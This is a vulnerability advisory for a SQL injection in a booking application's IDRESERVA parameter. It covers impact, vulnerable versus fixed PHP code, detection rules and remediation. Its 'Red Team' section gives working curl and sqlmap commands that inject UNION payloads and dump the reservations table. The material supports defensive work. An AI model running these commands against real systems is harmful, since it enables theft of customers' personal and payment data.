CVE-2025-40618

Executive Summary

CVE-2025-40618 is a critical SQL injection vulnerability in the Bookgy application, a booking/reservation management system. The flaw resides in the IDRESERVA parameter of /bkg_imprimir_comprobante.php, allowing unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database compromise, including retrieval, creation, update, and deletion of records. No patch or vendor response has been identified, making this a high-risk, unpatched vulnerability. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public disclosure of the vulnerability details increases risk.

CVSS Breakdown & Threat Level

• CVSS Vector: UNKNOWN (no official vector provided; estimated as AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H based on description)
• Base Score: Estimated 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical – Unauthenticated remote SQL injection with full database control.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the IDRESERVA GET/POST parameter of bkg_imprimir_comprobante.php. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject malicious SQL payloads to manipulate the backend database.

Attack Flow:

1. Attacker sends an HTTP request to /bkg_imprimir_comprobante.php?IDRESERVA=1' OR '1'='1.
2. The unsanitized input is concatenated into a SQL query, e.g., SELECT * FROM reservas WHERE id = 1' OR '1'='1.
3. The query returns all rows, bypassing authentication or data restrictions.
4. Using UNION-based or error-based techniques, the attacker can extract data, modify records, or drop tables.

Potential Impact:

• Exfiltration of sensitive booking data (customer names, emails, payment info).
• Database corruption or deletion.
• Potential lateral movement if database credentials are reused.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$id_reserva = $_GET['IDRESERVA'];
$query = "SELECT * FROM reservas WHERE id = $id_reserva";
$result = mysqli_query($conn, $query);
?>

Patched Code (Parameterized Query):

<?php
$id_reserva = $_GET['IDRESERVA'];
$stmt = $conn->prepare("SELECT * FROM reservas WHERE id = ?");
$stmt->bind_param("i", $id_reserva);
$stmt->execute();
$result = $stmt->get_result();
?>

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Bookgy application running on Apache/Nginx with PHP and MySQL.
• Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

1. Manual Injection:

   curl "http://target.com/bkg_imprimir_comprobante.php?IDRESERVA=1' UNION SELECT 1,2,3,4,5-- -"
   

2. Automated with sqlmap:

   sqlmap -u "http://target.com/bkg_imprimir_comprobante.php?IDRESERVA=1" --batch --dbs
   

3. Database Enumeration:

   sqlmap -u "http://target.com/bkg_imprimir_comprobante.php?IDRESERVA=1" --batch -D bookgy_db --tables
   

4. Data Exfiltration:

   sqlmap -u "http://target.com/bkg_imprimir_comprobante.php?IDRESERVA=1" --batch -D bookgy_db -T reservas --dump
   

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /bkg_imprimir_comprobante.php for unusual IDRESERVA values (e.g., containing SQL keywords like UNION, SELECT, OR).
• Enable WAF rules to block SQL injection patterns.
• Review database logs for anomalous queries.

Mitigation:

• Immediately apply input validation and parameterized queries.
• Restrict database user permissions to least privilege.
• Deploy a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /bkg_imprimir_comprobante.php with IDRESERVA containing SQL syntax (e.g., ' OR '1'='1, UNION SELECT).
  • Outbound database connections from the web server to unusual IPs.
• File:
  • Suspicious PHP files uploaded to the server (if file write is possible).
• Log:
  • Database error logs showing SQL syntax errors.
  • Web server logs with repeated requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_40618_SQLi_Bookgy {
    meta:
        description = "Detects SQL injection attempts targeting Bookgy IDRESERVA parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-40618"
    strings:
        $sqli1 = "IDRESERVA=" nocase
        $sqli2 = "' OR '" nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "1=1" nocase
    condition:
        all of ($sqli1, $sqli2) or all of ($sqli1, $sqli3) or all of ($sqli1, $sqli4)
}

Sigma Rule

title: SQL Injection Attempt Against Bookgy IDRESERVA Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests to Bookgy's bkg_imprimir_comprobante.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "IDRESERVA="
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in booking IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-40618 Bookgy SQL Injection Attempt"; flow:to_server,established; content:"/bkg_imprimir_comprobante.php"; http_uri; content:"IDRESERVA="; http_uri; pcre:"/IDRESERVA=.*['\"]\s*(OR|UNION|SELECT|DROP|DELETE|INSERT|UPDATE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet if possible.
2. Apply virtual patching via WAF rules blocking SQL injection patterns.
3. Audit all database queries in the application for similar flaws.

Long-Term Fix:

• Replace all dynamic SQL queries with parameterized statements (prepared statements).
• Implement strict input validation (allow only numeric IDs for IDRESERVA).
• Update to a patched version if the vendor releases one.

Workaround:

• Disable the /bkg_imprimir_comprobante.php endpoint if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT